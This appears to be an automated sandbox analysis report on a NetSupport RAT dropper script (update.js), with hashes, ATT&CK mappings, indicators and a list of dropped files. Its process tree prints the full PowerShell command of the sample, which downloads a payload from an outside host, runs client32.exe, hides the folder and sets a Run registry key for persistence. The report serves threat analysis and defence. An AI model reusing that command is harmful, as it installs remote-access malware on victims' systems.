netsupport | 7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78

Analysis

max time kernel
135s
max time network
146s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
29/01/2024, 18:18

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General

Target

update.js
Size

114KB
MD5

1e5517d4390ea9cf0a97bc08a88ce8f9
SHA1

75ab46b29fb2a43710cee16f6947dc31763921ca
SHA256

7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78
SHA512

354d548f71853a127d993285b97420e7c89cef1526535d9d0bb058a798b4accd9c0d98fe13b4bfb45452beb1c8a7b8254723ebe2ad50fe18dceeab61bf28036f
SSDEEP

1536:AlarcxElarcxElarcxRlarcx4QNlarcxElarcxElarcx8larcxElarcxElarcxu:ADxEDxEDxRDxxDxEDxEDx8DxEDxEDxu

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://ghostcitygames.com/data.php?8788

exe.dropper

https://ghostcitygames.com/data.php?8788

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3496	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4288	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
4288	client32.exe
4288	client32.exe
4288	client32.exe
4288	client32.exe
4288	client32.exe
4288	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX794\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3496	powershell.exe
3496	powershell.exe
3496	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	4288	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4288	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 3496	4324	wscript.exe	73
PID 4324 wrote to memory of 3496	4324	wscript.exe	73
PID 3496 wrote to memory of 4288	3496	powershell.exe	75
PID 3496 wrote to memory of 4288	3496	powershell.exe	75
PID 3496 wrote to memory of 4288	3496	powershell.exe	75

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
1⤵
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnkyz5hl.vfu.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX794\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX794\MSVCR100.dll

Filesize
470KB

MD5
28f8b58e237891307ac2b7e79bd3d24f

SHA1
61d1673ba5120db79c2a88807aeefcfea809b187

SHA256
e2ba91361be58b3b04688f1db3eb503d9bac7a7d5dc9f22a7c9c6ab26f38cf37

SHA512
91106f299376bd5c42078124be0415168955fbbefd902166804d38a4f2ab99ca53db1a3798be3ecf9f3691fed9b0beb148841f433601e15705408fd07e406613

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX794\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX794\PCICL32.dll

Filesize
1.3MB

MD5
6cb4f24afa017ee6c06d8b37e9c413ef

SHA1
3be6235694938eeb805f05a9f661178802250ef4

SHA256
615b7040d3edf9a0f1ec19402dd101dacd5d965c37737bfa19e986c7b02cdaeb

SHA512
63ba8f7cbe1c8831d7dd173f696f7a83f5d1015317b42127668662c1b18f5e33fa19d0e1ed58cc0a6ed7f5ab81e3fa9c00f0cbf504ad6a5366e12de6b5e01169

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX794\client32.ini

Filesize
701B

MD5
98043670d8c850e878e333312fcfa25a

SHA1
dc795e8b906d70ee5854a6797e0c1557375bc443

SHA256
0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

SHA512
13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX794\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX794\pcichek.dll

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
\Users\Admin\AppData\Roaming\DIVX794\PCICL32.DLL

Filesize
615KB

MD5
24100d71edf711fc7fece098ca64b0cb

SHA1
4c0f6119e245c1bfb5843b5a59ab1f95fa8363b2

SHA256
d242613b0be92b41193463ad258a5d2c547774f99fef1c63e6d3c0edb40939f0

SHA512
f814d253ae296a52ec0763fb841421b69207be52b9b390007754a2f7f3acf182d69da5500678d911d75ddfa892cfee847bed2c7c6000b7b84a690b599675f809

Download Submit
\Users\Admin\AppData\Roaming\DIVX794\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
\Users\Admin\AppData\Roaming\DIVX794\msvcr100.dll

Filesize
581KB

MD5
30dfaaf86488971e16182c348f9230ee

SHA1
a305bdb0a5449393957f281c32c38b28a9e3adb0

SHA256
c01e0ec91e1dc9cdbea39bc989faf9ddabac30fdf26dd0237e05eb53b985d01a

SHA512
06398de3d8885b0d9981ac8eb8132a5d0e36775d9a5cb4c06e5efef0377daa16f76ae208e01fc706c831cdb9a961347fb621bf8e2355eeeec9bbdcb262b5846c

Download Submit
memory/3496-44-0x000001AA49570000-0x000001AA49582000-memory.dmp

Filesize
72KB

Download
memory/3496-4-0x000001AA31260000-0x000001AA31282000-memory.dmp

Filesize
136KB

Download
memory/3496-43-0x000001AA49540000-0x000001AA4954A000-memory.dmp

Filesize
40KB

Download
memory/3496-10-0x000001AA497A0000-0x000001AA49816000-memory.dmp

Filesize
472KB

Download
memory/3496-7-0x000001AA49590000-0x000001AA495A0000-memory.dmp

Filesize
64KB

Download
memory/3496-25-0x000001AA49590000-0x000001AA495A0000-memory.dmp

Filesize
64KB

Download
memory/3496-5-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

Filesize
9.9MB

Download
memory/3496-6-0x000001AA49590000-0x000001AA495A0000-memory.dmp

Filesize
64KB

Download
memory/3496-116-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

Filesize
9.9MB

Download